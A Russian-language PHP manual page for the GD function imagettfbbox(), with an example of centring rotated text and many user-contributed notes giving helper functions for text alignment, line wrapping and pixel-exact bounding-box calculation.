Пример #1 Пример использования imagettfbbox()

<?php
// создание изображения 300x150
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Белый фон
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Путь к файлу шрифта
$font = './arial.ttf';

// создаём рамку для текста
$bbox = imagettfbbox(10, 45, $font, 'Powered by PHP ' . phpversion());

// наши координаты X и Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 25;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Пишем текст
imagettftext($im, 10, 45, $x, $y, $black, $font, 'Powered by PHP ' . phpversion());

// создаём другую рамку для другого текста
$bbox = imagettfbbox(10, 45, $font, 'and Zend Engine ' . zend_version());

// задаём координаты так, чтобы текст шёл сразу за первой надписью
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) + 10;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Пишем вторую надпись
imagettftext($im, 10, 45, $x, $y, $black, $font, 'and Zend Engine ' . zend_version());

// Вывод в броузер
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Примечания

Замечание: Эта функция доступна только в случае, если PHP был скомпилирован с поддержкой freetype (--with-freetype-dir=DIR)

Смотрите также

  • imagettftext() - Рисование текста на изображении шрифтом TrueType
  • imageftbbox() - Определение границ текста выводимого шрифтом freetype2

User Contributed Notes

Somerset Ben 15-Sep-2021 05:03
Pushing text around.

I wanted to put various bits of text in the corners of an image so I created a function to accept a location in the image and then put a corner of the text (eg right,top) at that location. Rotation is not supported.

Inputs to the function are fairly standard. The align parameter is two characters R|M|L (right, middle, top)for x alignment and T|M|B (top, middle, bottom) for y alignment; eg "LT" meaning left, top. Omitting the align parameter displays nothing.

The function returns the size of the text block or false indicating failure.

<?php
function imagettfalign (&$im,$size,$x,$y,$col,$font,$text,$align='')
    {
    $box = imagettfbbox ($size,0,$font,$text) ;
    if (!$box) return false ;
    if ($align)
        {
        switch (strtoupper($align[0])) // X position
            {
            case 'L' : $tX = $x - $box[0]   ; break ;
            case 'R' : $tX = $x - $box[2]   ; break ;
            case 'M' : $tX = $x - $box[2]/2 ; break ;
            default : return false ;
            }
        switch (strtoupper($align[1])) // Y position
            {
            case 'B' : $tY = $y - $box[1]   ; break ;
            case 'T' : $tY = $y - $box[7]   ; break ;
            case 'M' : $tY = $y - $box[7]/2 ; break ;
            default : return false ;
            }
        if (!imagettftext ($im,$size,0,$tX,$tY,$col,$font,$text)) return false ;
        }
    $r[0]=abs($box[2]) ;
    $r[1]=abs($box[7]) ;
    return $r ;
    }
?>

An example (excluding font declarations, etc) would be:
<?php
$im = @imagecreatetruecolor(400,200) ;
$colBlack = imagecolorallocate($im,0, 0, 0);
$xy = imagettfalign ($im,12,200,100,$colBlack,$ttFont,"The middle",'MM') ;
?>

This will show "The middle" smack in the centre of the image.

Finally,  apologies for the non-standard indentation. It's just the way I've been doing it for years...
dvladimirov77 at gmail dot com 27-May-2020 12:43
if the line starts with a narrow character, for example: "1"

    function new_imagettfbbox($size, $angle, $fontfile, $text)
    {
        $first = substr($text, 0, 1);
        $sub = substr($text, 1);

        switch ($first)
        {
            case '1':
                $text = '0' . $sub;
                break;
        }

        return imagettfbbox($size, $angle, $fontfile, $text);
    }
james dot heazlewood at crownbet com au 20-Feb-2017 07:21
I found the bounding boxes a bit tricky to use when trying to rotate AND align text boxes. I wrote this function allows you to set left, right or center aligned text and also rotate it.

<?php
  /**
   * Renders rotate-able and align-able text of any font or colour
   *
   * @param resource $img Image resource
   * @param string $text
   * @param int $x
   * @param int $y
   * @param int $fontSize
   * @param string $fontFile Full path to font file
   * @param array $color Red, green, blue values in either int (255) or hex (0xFF)
   * @param string $align Accept 'left', 'right', and defaults to center
   * @return void
   */
  function gd_text_aligned($img, $text, $x, $y, $fontSize, $fontFile, $color = [0, 0, 0], $align = 'left') {

      // Create colour Resource
      $textColor = imagecolorallocate($img, $color[0], $color[1], $color[2]);

      // Create bounding box co-ordinates
      $boundingBox = imagettfbbox($fontSize, $rotation, $fontFile, $text);
      $textBox = imagettfbbox($fontSize, 0, $fontFile, $text);

      //  Bounding box array key meanings
      //
      //  $bBox[0] = lower left  X
      //  $bBox[1] = lower left  Y
      //  $bBox[2] = lower right X
      //  $bBox[3] = lower right Y
      //  $bBox[4] = upper right X
      //  $bBox[5] = upper right Y
      //  $bBox[6] = upper left  X
      //  $bBox[7] = upper left  Y
      //
      //     6,7     |     4,5
      //        -----+-----
      //     0,1     |     2,3
      //
      $boundingBoxWidth = $boundingBox[4] - $boundingBox[0];
      $boundingBoxHeight = $boundingBox[5] - $boundingBox[1];
      $flatHeight = $textBox[5] - $textBox[1];

      // Align left right or centred?
      if($align == 'left') {
          $drawX = $x - sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else if($align == 'right') {
          $drawX = $x - $boundingBoxWidth + sin($rotation * M_PI / 180) * ($flatHeight / 2);
          $drawY = $y - $boundingBoxHeight + cos($rotation * M_PI / 180) * ($flatHeight / 2);
      } else {
          // no alignment (centred)
          $drawX = $x - $boundingBoxWidth / 2;
          $drawY = $y - $boundingBoxHeight / 2;
      }

      // draw text
      imagettftext(
          $img,
          $fontSize,
          $rotation, $drawX, $drawY,
          $textColor, $fontFile, $text
      );

    }
tuxedobob 03-Nov-2016 04:02
You might save yourself a lot of time and headache if you remember that the bold version of a font is NOT necessarily the same height as the regular version of that font!

(In fact, it can be shorter!)
gw at example dot com 18-Jan-2016 05:32
a little something to replace in blackbart tip :

// start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }

with

// start scanning (0=> black => empty)
  $break = false;
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  // scanning from left to right, breaking when a pixel is found, to scan from the other side : avoid scanning all pixels !
  for($x=0; $x<$w4; $x++){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
        $rtop = min($rtop, $y); $rleft = min($rleft, $x);
        $break = true; break;
      }
    if($break) break;
  }
  // scanning from right to left, breaking when a pixel is found
  for($x=($w4-1); $x>$rleft; $x--){
    for($y=0; $y<$h4; $y++)
      if(imagecolorat($img,$x,$y)){
          $rright = max($rright, $x); $rbottom = max($rbottom, $y);
        $break = true; break;
      }
    if($break) break;
  }
//... //

it may be even better to check if the picture is portrait or landscape, to start the loops from left-right(landscape) or top-bottom (portrait)
indraaaa34 at gmail dot com 07-May-2015 12:49
The returned array order is like this:
-----------------------------
| X:4  Y:5      | X:   Y:7        |
-----------------------------
| X:0  Y:1      | X:2  Y:3       |
-----------------------------

eg:
4 for the upper left X
5 for the upper left Y and so on.
user107 31-Mar-2015 03:36
I found a simple solution that was working for me:

 <?php
    if(!isset($_GET['size'])) $_GET['size'] = 44;
    if(!isset($_GET['text'])) $_GET['text'] = "Hello, world!";

    $size = imagettfbbox($_GET['size'], 0, "ARIAL", $_GET['text']);
    $xsize = abs($size[0]) + abs($size[2]);
    $ysize = abs($size[5]) + abs($size[1]);

    $image = imagecreate($xsize, $ysize);
    $blue = imagecolorallocate($image, 0, 0, 255);
    $white = ImageColorAllocate($image, 255,255,255);
    imagettftext($image, $_GET['size'], 0, abs($size[0]), abs($size[5]), $white, "ARIAL", $_GET['text']);

    header("content-type: image/png");
    imagepng($image);
    imagedestroy($image);
?>

Here is the link with a examples:
http://www.tuxradar.com/practicalphp/11/2/6#null
rasmus at mindplay dot dk 11-Apr-2013 01:33
It should be noted that the bounding box coordinates returned by this function are inaccurate - bug reports about this have been open for 5 years, so expect this will likely never be fixed.

More information here:

https://gist.github.com/mindplay-dk/4429153
go4christian at gmail dot com 31-Jul-2012 03:02
Automatic line breaks: This simple function is able automatically create line breaks if you want to write a text on an image. All you have to specify is a maximum length.

<?php
function write_multiline_text($image, $font_size, $color, $font, $text, $start_x, $start_y, $max_width)
{
        //split the string
        //build new string word for word
        //check everytime you add a word if string still fits
        //otherwise, remove last word, post current string and start fresh on a new line
        $words = explode(" ", $text);
        $string = "";
        $tmp_string = "";

        for($i = 0; $i < count($words); $i++)
        {
            $tmp_string .= $words[$i]." ";

            //check size of string
            $dim = imagettfbbox($font_size, 0, $font, $tmp_string);

            if($dim[4] < $max_width)
            {
                $string = $tmp_string;
            } else {
                $i--;
                $tmp_string = "";
                imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string);

                $string = "";
                $start_y += 22; //change this to adjust line-height. Additionally you could use the information from the "dim" array to automatically figure out how much you have to "move down"
            }
        }

        imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string); //"draws" the rest of the string
?>
magnum dot tc dot mr at gmail dot com 07-Jun-2012 10:50
Please note that the 3rd argument is really a "path".
<?php
imagettfbbox(10, 0, 'arial.ttf', 'Hello, World!');  // will result in "Warning: imagettfbbox(): Could not find/open font in ...php on line ..."
?>

use instead something like this:
<?php imagettfbbox(10, 0, './arial.ttf', 'Hello, World!'); ?>
or
<?php imagettfbbox(10, 0, getcwd().'/arial.ttf', 'Hello, World!'); ?>
Anonymous 04-May-2012 01:29
It seems to be worth pointing out that the "points" unit GD2 is using corresponds to 96 dpi, as defined in gd.h:
#define GD_RESOLUTION           96      /* pixels per inch */

So if you want to translate the bbox back to font points, you need to multiply all coordinates by 72/96 = 3/4.
jodybrabec at gmail dot com 30-Aug-2011 03:39
Very CLEAR version of func., with example....

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
    /************
    simple function that calculates the *exact* bounding box (single pixel precision).
    The function returns an associative array with these keys:
    left, top:  coordinates you will pass to imagettftext
    width, height: dimension of the image you have to create
    *************/
    $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);
    $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
    $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

    return array(
     "left"   => abs($minX) - 1,
     "top"    => abs($minY) - 1,
     "width"  => $maxX - $minX,
     "height" => $maxY - $minY,
     "box"    => $rect
    );
}

// Example usage - gif image output

$text_string    = "Hullo World";
$font_ttf        = "./fonts/arial.ttf";
$font_size        = 22;
$text_angle        = 0;
$text_padding    = 10; // Img padding - around text

$the_box        = calculateTextBox($text_string, $font_ttf, $font_size, $text_angle);

$imgWidth    = $the_box["width"] + $text_padding;
$imgHeight    = $the_box["height"] + $text_padding;

$image = imagecreate($imgWidth,$imgHeight);
imagefill($image, imagecolorallocate($image,200,200,200));

$color = imagecolorallocate($image,0,0,0);
imagettftext($image,
    $font_size,
    $text_angle,
    $the_box["left"] + ($imgWidth / 2) - ($the_box["width"] / 2),
    $the_box["top"] + ($imgHeight / 2) - ($the_box["height"] / 2),
    $color,
    $font_ttf,
    $text_string);

header("Content-Type: image/gif");
imagegif($image);
imagedestroy($image);

?>

[ remember: No spaces before or after the <?php ... ?> tag, because of header() call, you Roast! ]
Andrey Zakharov 04-Jan-2011 03:16
For mixed text drawing on image, height given by this function is useless and leads to text's hip-hops over the baseline .

I will use just this:
<?php
$size = 12;//font height
$font = 'Arial';// your font
$char = 'Test';
$char = 'With W';
$char = 'without w but with p and y and q';

    $rect = imagettfbbox($size, 0, $font, $char);

    $image_height =abs( $rect[7] );//do no respect bottom margin
    $imw = $rect[2] - $rect[0]; //as usual
    $bx = abs( $rect[ 0 ] ); // X offset
    $by = $size * 1.25; // Y offset - we will use const LINEHEIGHT
?>
a2hansolo at gmail dot com 22-Dec-2010 11:29
measure bg image size, wrap text to fit image width

<?php
$mx = imagesx($main_img);
$my = imagesy($main_img);

//TEXT VARS/////////
$main_text = ;
$main_text_size = ;
$main_text_x = ($mx/2);

$main_text_color = imagecolorallocate($main_img, $main_text_red, $main_text_green, $main_text_blue);
$words = explode(' ', $main_text);
$lines = array($words[0]);
$currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($main_text_size, 0, $mt_f, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $mx)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }
$line_count = 1;
// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    $line_box = imagettfbbox($main_text_size, 0, $mt_f, "$line");
    $line_width = $line_box[0]+$line_box[2];
    $line_height = $line_box[1]-$line_box[7];
    $line_margin = ($mx-$line_width)/2;
    $line_y = (($line_height+12) * $line_count);
    imagettftext($main_img, $main_t_s, 0, $line_margin, $line_y, $main_text_color, $mt_f, $line);

    // Increment Y so the next line is below the previous line
    $line_count ++;
}
?>
blackbart at simail dot it 15-Apr-2010 11:12
I wrote a simple function that calculates the *exact* bounding box (single pixel precision).
The function returns an associative array with these keys:
left, top:  coordinates you will pass to imagettftext
width, height: dimension of the image you have to create

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
  $box   = imagettfbbox($font_size, $font_angle, $font_file, $text);
  if( !$box )
    return false;
  $min_x = min( array($box[0], $box[2], $box[4], $box[6]) );
  $max_x = max( array($box[0], $box[2], $box[4], $box[6]) );
  $min_y = min( array($box[1], $box[3], $box[5], $box[7]) );
  $max_y = max( array($box[1], $box[3], $box[5], $box[7]) );
  $width  = ( $max_x - $min_x );
  $height = ( $max_y - $min_y );
  $left   = abs( $min_x ) + $width;
  $top    = abs( $min_y ) + $height;
  // to calculate the exact bounding box i write the text in a large image
  $img     = @imagecreatetruecolor( $width << 2, $height << 2 );
  $white   =  imagecolorallocate( $img, 255, 255, 255 );
  $black   =  imagecolorallocate( $img, 0, 0, 0 );
  imagefilledrectangle($img, 0, 0, imagesx($img), imagesy($img), $black);
  // for sure the text is completely in the image!
  imagettftext( $img, $font_size,
                $font_angle, $left, $top,
                $white, $font_file, $text);
  // start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }
  // destroy img and serve the result
  imagedestroy( $img );
  return array( "left"   => $left - $rleft,
                "top"    => $top  - $rtop,
                "width"  => $rright - $rleft + 1,
                "height" => $rbottom - $rtop + 1 );
}
?>
peterjwest3 at gmail dot com 08-Apr-2010 06:18
As many of you know, this function is bugged in several versions of PHP. It should return the coordinates relative to the baseline of the font. So if your text includes characters like g and p then the bounding box should extend below zero on the Y axis, however it doesn't. This is a problem because imagettftext() positions text using the baseline, so all your text will be misaligned.

My solution is to create an image of the desired font and font-size using all ascii characters with imagettfbbox() and imagettftext(). The height of this image is used as the height for the real image.

I then analyse the image to get the vertical offset of the text (the background color should be $baseColor)
<?php
function getYOffset($image, $baseColor) {
    for($y = 0; $y < $this->height(); $y++)
        for($x = 0; $x < $this->width(); $x++)
            if (imagecolorat($image, $x, $y) !== $baseColor)
                return $y; }
?>

This offset can be used as the baseline for the font (for this font-size). You can use a similar trick for the horizontal offset, but that changes depending on the first character.
hkc@taiwan 22-Aug-2009 12:57
I want to output a bounding box of a text as an image straightly. I did like this:

<?php

$text = "<?php echo \"hello, world\"; ?>";
$font = "./arial.ttf";
$size = "60";

$bbox = imagettfbbox($size, 0, $font, $text);

$width = abs($bbox[2] - $bbox[0]);
$height = abs($bbox[7] - $bbox[1]);

$image = imagecreatetruecolor($width, $height);

$bgcolor = imagecolorallocate($image, 255, 255, 255);
$color = imagecolorallocate($image, 0, 0, 0);

$x = $bbox[0] + ($width / 2) - ($bbox[4] / 2);
$y = $bbox[1] + ($height / 2) - ($bbox[5] / 2);

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

$last_pixel= imagecolorat($image, 0, 0);

for ($j = 0; $j < $height; $j++)
{
    for ($i = 0; $i < $width; $i++)
    {
        if (isset($blank_left) && $i >= $blank_left)
        {
            break;
        }

        if (imagecolorat($image, $i, $j) !== $last_pixel)
        {
            if (!isset($blank_top))
            {
                $blank_top = $j;
            }
            $blank_left = $i;
            break;
        }

        $last_pixel = imagecolorat($image, $i, $j);
    }
}

$x -= $blank_left;
$y -= $blank_top;

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
Dario 05-May-2009 07:09
My solution to below-baseline characters is to simply apply a smaller angle and some padding when calculating your boundaries, so the function thinks your text goes below baseline. For example:

<?php
// GET BOUNDS OF TEXT
$bounds = imagettfbbox($size*1.05, $angle-3, $font, $text);
?>
Anonymous 06-Nov-2008 11:18
SIMPLE OVERLOADED FUNCTION: Adds TTF Center and Right Alignment to co ordintate points.
Correctly demonstrates the use of the bouning box TTF function and the array of coordinates that it returns.

After obtaining values and adjusting based on a set of values [L, C, R], it uses simple math based of the length of the text to move it from the origin (x = 0 )

<?php
function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L')
{

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
?>
decimealgo at gmail dot com 04-Oct-2008 10:11
This is a function which reformats a text string into a text block of a given width.
Usefull when you have a long single line string and want to fit it into a fixed width but don't care about it's height

<?php
function makeTextBlock($text, $fontfile, $fontsize, $width)
{
    $words = explode(' ', $text);
    $lines = array($words[0]);
    $currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($fontsize, 0, $fontfile, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $width)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }

    return implode("\n", $lines);
}
?>
beosman at gmail dot com 22-Aug-2008 09:00
I was viewing the code for calculate the box of a text for a given font but I do not found one that works fine with different angles from zero, so I have made a function simpler than above:

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
  $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);

  $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
  $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

  return array(
    "left"   => abs($minX),
    "top"    => abs($minY),
    "width"  => $maxX - $minX,
    "height" => $maxY - $minY,
    "box"    => $rect
  );
}

?>

With this function you can center an angled string in any image:

<?php

  $mystring = "Hello world!";

  $imgWidth = 300;
  $imgHeight = 150;

  $image = imagecreate($imgWidth,$imgHeight);
  imagefill($image,imagecolorallocate($image,200,200,200));

  $box = calculateTextBox($mystring,"./Verdana.ttf",15,45);
  $color = imagecolorallocate($image,0,0,0);
  imagettftext($image,
               15,
               45,
               $box["left"] + ($imgWidth / 2) - ($box["width"] / 2),
               $box["top"] + ($imgHeight / 2) - ($box["height"] / 2),
               $color,
               "./Verdana.ttf",
               $mystring);

  header("Content-Type: image/x-png");
  imagepng($im);
  imagedestroy($im);

?>
Stefan at colulus dot com 30-May-2008 11:13
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 10:14
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
mihai.draghicioiu at gmailcom 14-Apr-2008 03:57
To get the height for a line of text, I've found it useful to do:

<?php

$bbox = imagettfbbox($size, 0, $ttf, " \n "); // space, newline, space

$height = $bbox[3] - $bbox[5];

?>

I hope this helps. Before, I used the string "Tj", but that sometimes fell short, especially for crazy fonts.
heshan at sjtu dot edu dot cn 07-Jan-2008 04:18
the imagettfbbox and imagettftext quirks are:

1. imagettfbbox and imagettftext have the same return value and both of them are wrong for angle not equal to zero.
2. imagettfbbox returns the correct bounding box when angle is zero.
3. the bounding box has a coordinate system that the x gets bigger from left to right and y gets bigger from top to bottom.
4. the "base point" used in imagettftext is the origin in the bounding box coordinate system.
5. when the angle is other than 0, it is actually rotated in the coordinate system with respect to the base point. so if we know the bounding box coordinate when angle is zero, we can get the new bounding box coordinate by doing the rotation by math equations manually.
6. to have pixel level accuracy, we should also be aware of another thing. suppose the axis is like this: |_|_|_|, the bounding box coordinate uses point on the vertical line while image function uses point on the horizontal line, so there is a 1 pixel difference you should take care of.

The following snippet creates minimal images containing a letter of different font and rotation angle. This is especially useful in captcha scripts.

<?php

function create_font_image( $size, $angle, $font, $char )
{
    $rect = imagettfbbox( $size, 0, $font, $char );
    if( 0 == $angle ) {
        $imh = $rect[1] - $rect[7];
        $imw = $rect[2] - $rect[0];
        $bx = -1 - $rect[0];
        $by = -1 - $rect[7];
    } else {
        $rad = deg2rad( $angle );
        $sin = sin( $rad );
        $cos = cos( $rad );
        if( $angle > 0 ) {
            $tmp = $rect[6] * $cos + $rect[7] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[2] * $cos + $rect[3] * $sin - $tmp );
            $tmp = $rect[5] * $cos - $rect[4] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[1] * $cos - $rect[0] * $sin - $tmp );
        } else {
            $tmp = $rect[0] * $cos + $rect[1] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[4] * $cos + $rect[5] * $sin - $tmp );
            $tmp = $rect[7] * $cos - $rect[6] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[3] * $cos - $rect[2] * $sin - $tmp );
        }
    }
    $im = imagecreatetruecolor( $imw, $imh );
    imagefill( $im, 0, 0, imagecolorallocate( $im, 255, 0, 255 ) );
    imagettftext( $im, $size, $angle, $bx, $by, imagecolorallocate( $im, 0, 0, 0 ), $font, $char );
    imagegif( $im, trim( $font, './' ) . ord( $char ) . $angle . '.gif' );
    imagedestroy( $im );
}

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$angles = array( -30, -20, -10, 0, 10, 20, 30 );
$fonts = array( './latinwide.ttf', './verdana.ttf', './times.ttf', './broadway.ttf' );
foreach( $angles as $angle )
    foreach( $fonts as $font )
        for( $i = 0; $i < strlen( $chars ); ++$i )
            create_font_image( 100, $angle, $font, $chars[$i] );
?>
intuz et gmx dt de 29-Aug-2007 11:45
I still got problems trying to rotate imagettftext using imagettfbbox.

It's position calculation is mostly wrong. So i tried to rotate ttftext with IMAGEROTATE.

As a special the result is in black fontcolor and transparent background.

Hope it helps sombody (thanks for function convertBoundingBox, reading below)

<?
function ImgText($text,$fontsize,$font,$angle){
$im = '';
    if($text){
        if(!$fontsize || $fontsize < 1) $fontsize = 12;
        if(!$font) $font = "fonts/arial.ttf";
        $bbox = imagettfbbox($fontsize, 0, $font, $text);
        $size=convertBoundingBox($bbox);
        $im = ImageCreatetruecolor($size['width'],$size['height']);

        $white = ImageColorAllocate($im, 255, 255, 255);
        $black = ImageColorAllocate($im, 0,0,0);

        imagefill ($im, 0, 0, $white );
        imagettftext($im, $fontsize, 0, $size['xOffset'], $size['yOffset'], $black, $font, $text);
        $im = imagerotate( $im,$angle, $white);
        imagecolortransparent ($im,$white);
    }else{
        // No text
    }
}
?>
bushj at rpi dot edu 10-Jul-2007 09:11
Apparently the bounding box returned by imagettftext and imagettfbbox is not the same, and it appears as though imagettftext does a better job at calculating the actual bounding box (maybe because it has to render every character and it then finds out really everywhere it rendered).

So, you can create a dummy image render the text to it and get a better box. Here is an example function:
<?php
function better_imagettfbbox($size, $angle, $font, $text) {
  $dummy = imagecreate(1, 1);
  $black = imagecolorallocate($dummy, 0, 0, 0);
  $bbox = imagettftext($dummy, $size, $angle, 0, 0, $black, $font, $text);
  imagedestroy($dummy);
  return $bbox;
}
?>
If you use this a lot, it would be better to keep one dummy image instead of continually creating and destroying images.
Ruquay 04-Jun-2007 04:12
Several comments show that the output of this function is often not what is expected, especially when the text is rotated.

For those of you who'd like a visual representation of what is happening to the bounding box as the text is rotated, take a look here:

http://ruquay.com/sandbox/imagettf/
Nate Sweet 01-Jun-2007 12:11
An improvement to the convertBoundingBox function. The previous function was completely wrong. My confusion came from characters like "1" and "_" that are rendered to the right or below the basepoint (in the font I'm using). I ended up using mike at mikeleigh dot com's function with a fix for these characters, and a "belowBasepoint" value.
<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $xOffset = -abs($bbox[0] + 1);
    else
        $xOffset = abs($bbox[0] + 2);
    $width = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $width = abs($bbox[2]) + abs($bbox[0]) - 1;
    $yOffset = abs($bbox[5] + 1);
    if ($bbox[5] >= -1) $yOffset = -$yOffset; // Fixed characters below the baseline.
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    return array(
        'width' => $width,
        'height' => $height,
        'xOffset' => $xOffset, // Using xCoord + xOffset with imagettftext puts the left most pixel of the text at xCoord.
        'yOffset' => $yOffset, // Using yCoord + yOffset with imagettftext puts the top most pixel of the text at yCoord.
        'belowBasepoint' => max(0, $bbox[1])
    );
}
?>
Nate Sweet 01-Jun-2007 12:07
It took me some time to make full use of imagettfbbox. Hopefully the following function makes it much easier to use for others.

<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $leftOfBasepoint = -abs($bbox[0] + 1);
    else
        $leftOfBasepoint = abs($bbox[0] + 2);
    $rightOfBasepoint = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $rightOfBasepoint = abs($bbox[2]) + abs($bbox[0]) - 1;
    $aboveBasepoint = abs($bbox[5] + 1);
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    $width = $leftOfBasepoint + $rightOfBasepoint;
    $belowBasepoint = $height - $aboveBasepoint;
    return array(
        'width' => $width,
        'height' => $height,
        'leftOfBasepoint' => $leftOfBasepoint,
        'rightOfBasepoint' => $rightOfBasepoint,
        'aboveBasepoint' => $aboveBasepoint,
        'belowBasepoint' => $belowBasepoint
    );
}
?>

Thanks goes to mike at mikeleigh dot com for providing the core of this function.

Remember, the basepoint is the x, y coords you use to draw text with imagettftext. A useful thing to do is take a string like...
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890
...and use the "aboveBasepoint" value for the height of your font. Now you can draw lines and use "the height of your font * leading" as the distance between lines of text, where leading is a number like 1.45 (for 45% leading).
Nate Sweet 30-May-2007 01:36
